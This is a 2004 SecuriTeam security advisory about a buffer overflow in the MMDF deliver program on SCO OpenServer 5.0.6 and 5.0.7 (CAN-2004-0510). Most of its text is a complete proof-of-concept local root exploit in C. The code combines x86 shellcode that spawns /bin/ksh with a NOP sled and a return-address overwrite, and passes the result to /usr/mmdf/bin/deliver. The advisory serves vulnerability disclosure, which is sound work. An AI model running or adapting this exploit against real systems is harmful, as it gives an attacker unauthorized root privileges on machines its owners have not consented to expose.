[EXPL] SCO OpenServer MMDF Deliver Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 11/07/04

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      SCO OpenServer MMDF Deliver Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    Below is a proof of concept code for a buffer overflow in SCO OpenServer
    MMDF deliver.

    DETAILS

    Vulnerable Systems:
     * SCO OpenServer version 5.0.6
     * SCO OpenServer 5.0.7

    CVE Information:
     <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0510>
    CAN-2004-0510

    Proof of Concept Code:
    /*
     *MMDF deliver local root exploit for SCO OpenServer 5.0.7 x86
     *Copyright 2004 Ramon de Carvalho Valle
     *
     */

    char shellcode[]= /*36 bytes*/
        "\x68\xff\xf8\xff\x3c"/*pushl $0x3cfff8ff */
        "\x6a\x65"/*pushl $0x65 */
        "\x89\xe6"/*movl%esp,%esi */
        "\xf7\x56\x04"/*notl0x04(%esi)*/
        "\xf6\x16"/*notb(%esi)*/
        "\x31\xc0"/*xorl%eax,%eax */
        "\x50"/*pushl %eax*/
        "\x68""/ksh"/*pushl $0x68736b2f */
        "\x68""/bin"/*pushl $0x6e69622f */
        "\x89\xe3"/*movl%esp,%ebx */
        "\x50"/*pushl %eax*/
        "\x50"/*pushl %eax*/
        "\x53"/*pushl %ebx*/
        "\xb0\x3b"/*movb$0x3b,%al */
        "\xff\xd6"/*call*%esi */
    ;

    main(int argc,char **argv) {
        char buffer[16384],address[4],*p;
        int i;

        printf("MMDF deliver local root exploit for SCO OpenServer 5.0.7
    x86\n");
        printf("Copyright 2004 Ramon de Carvalho Valle\n\n");

        *((unsigned long *)address)=(unsigned long)buffer-256+5120+4097;

        sprintf(buffer,"-c");
        p=buffer+2;
        for(i=0;i<5120;i++) *p++=address[i%4];
        for(i=0;i<8192;i++) *p++=0x90;
        for(i=0;i<strlen(shellcode);i++) *p++=shellcode[i];
        *p=0;

        execl("/usr/mmdf/bin/deliver","deliver",buffer,0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:ramondecarvalho@yahoo.com.br> Ramon de Carvalho Valle.

    ========================================

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